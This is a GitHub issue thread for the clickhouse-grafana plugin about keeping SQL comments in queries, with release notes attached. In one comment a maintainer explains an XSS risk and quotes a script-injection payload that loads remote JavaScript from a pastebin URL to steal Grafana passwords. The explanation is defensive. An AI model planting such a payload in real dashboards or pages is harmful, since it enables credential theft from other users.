Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature Request: Respect comments in query #265

Closed
hagen1778 opened this issue Aug 3, 2020 · 8 comments · Fixed by #269, #270 or grafana/grafana-plugin-repository#690
Closed

Feature Request: Respect comments in query #265

hagen1778 opened this issue Aug 3, 2020 · 8 comments · Fixed by #269, #270 or grafana/grafana-plugin-repository#690
Assignees

Comments

@hagen1778
Copy link
Collaborator

hagen1778 commented Aug 3, 2020

I'd like DS to respect comments set in query. The motivation behind FR is following:

  1. Comments may contain useful information that may be used then for scanning query_log table;
  2. Some users may apply additional logic based on comments content - like query complexity, permissions or retention checks.

I noted that #95 was solved by stripping comments off. Probably, comments forwarding may be optional.

@Slach
Copy link
Collaborator

Slach commented Aug 3, 2020

Goog proposal I try to make it ASAP.

@Slach Slach self-assigned this Aug 3, 2020
@Slach Slach closed this as completed in #269 Aug 5, 2020
Slach added a commit to Altinity/grafana-plugin-repository that referenced this issue Aug 5, 2020
# 2.0.6 (2020-08-05)

## Enhancement:
  * add "Skip comments" checkbox to query editor to pass SQL comments to server, fix Altinity/clickhouse-grafana#265

## Security
  * rollback SQL+javascript preprocessing logic on browser side to avoid XSS scripting, sorry @fgbogdan

Signed-off-by: Eugene Klimov <eklimov@altinity.com>
@fgbogdan
Copy link
Contributor

fgbogdan commented Aug 6, 2020

Hi,
How should I update the code - allowing comments or not ?

@Slach
Copy link
Collaborator

Slach commented Aug 6, 2020

@fgbogdan just turn off "skip comments" dashboard on query editor on latest master

@Slach
Copy link
Collaborator

Slach commented Aug 6, 2020

image

@fgbogdan
Copy link
Contributor

fgbogdan commented Aug 6, 2020

Ok - i see the "skip comment"
Now - should I do a new pull request and put back my changes or I have another way to integrate my code ?

@Slach
Copy link
Collaborator

Slach commented Aug 7, 2020

@fgbogdan for your part of code with SQL logic functionality, unfortunately, cause we run direct JavaScript in page context,

Hackers can publish some dashboards and write something like

<%var d=document.CreateElement('script');s.src='https://pastebin.com/raw/jDrHGHsr';document.body.appendChild(s);%>

and from https://pastebin.com/raw/jDrHGHsr we will execute any js which can show standard grafana login and steal grafana users passwords, not only cookies

@Slach
Copy link
Collaborator

Slach commented Aug 7, 2020

@fgbogdan just open https://requestbin.com/r/enwiu9j3057dn/1fl924qjkyCZHBTjD5V2YpxXXVS
there is just a simple explanation

@fgbogdan
Copy link
Contributor

fgbogdan commented Aug 7, 2020

ok - got it.
then - so be it - 10x for effort.

Slach added a commit to Altinity/grafana-plugin-repository that referenced this issue Aug 13, 2020
# 2.1.0 (2020-08-13)

## Enhancement:
* add "Skip comments" checkbox to query editor to pass SQL comments to server, fix Altinity/clickhouse-grafana#265
* add setup notes for Grafana 7.x to README
* add SQL preprocessing logic on browser side with <% js code subset %>, Altinity/clickhouse-grafana#186, thanks @fgbogdan
* improve alerts query processing for use case when `query(query_name, from, to)` time range is less than visible dashboard time range, see Altinity/clickhouse-grafana#237
* improve alerts json parsing in golang part for case when we have string fields in response which interprets as series name, see Altinity/clickhouse-grafana#230
* properly parsing POST queries in golang part of plugin, Altinity/clickhouse-grafana#228, thanks @it1804

## Fixes:
* fix corner cases for $macro + subquery, see Altinity/clickhouse-grafana#276 and Altinity/clickhouse-grafana#277
* fix parallel query execution, see Altinity/clickhouse-grafana#273
* fix identifiers quotes, see Altinity/clickhouse-grafana#276, Altinity/clickhouse-grafana#277
* fix plugin.json for pass `grafana-plugin-repository` plugin validator
* fix multi-value variables behavior - Altinity/clickhouse-grafana#252
* add Vagrantfile for statefull environment and allow to upgrade scenario like  grafana 7.1.0 + grafana-cli upgrade-all
  * fix Altinity/clickhouse-grafana#244
  * fix Altinity/clickhouse-grafana#243
* add multiple dashboard examples for github issues:
  * fix Altinity/clickhouse-grafana#240
  * fix Altinity/clickhouse-grafana#135
  * fix Altinity/clickhouse-grafana#245
  * fix Altinity/clickhouse-grafana#238
  * fix Altinity/clickhouse-grafana#232
  * fix Altinity/clickhouse-grafana#127
  * fix Altinity/clickhouse-grafana#141

Signed-off-by: Eugene Klimov <eklimov@altinity.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
3 participants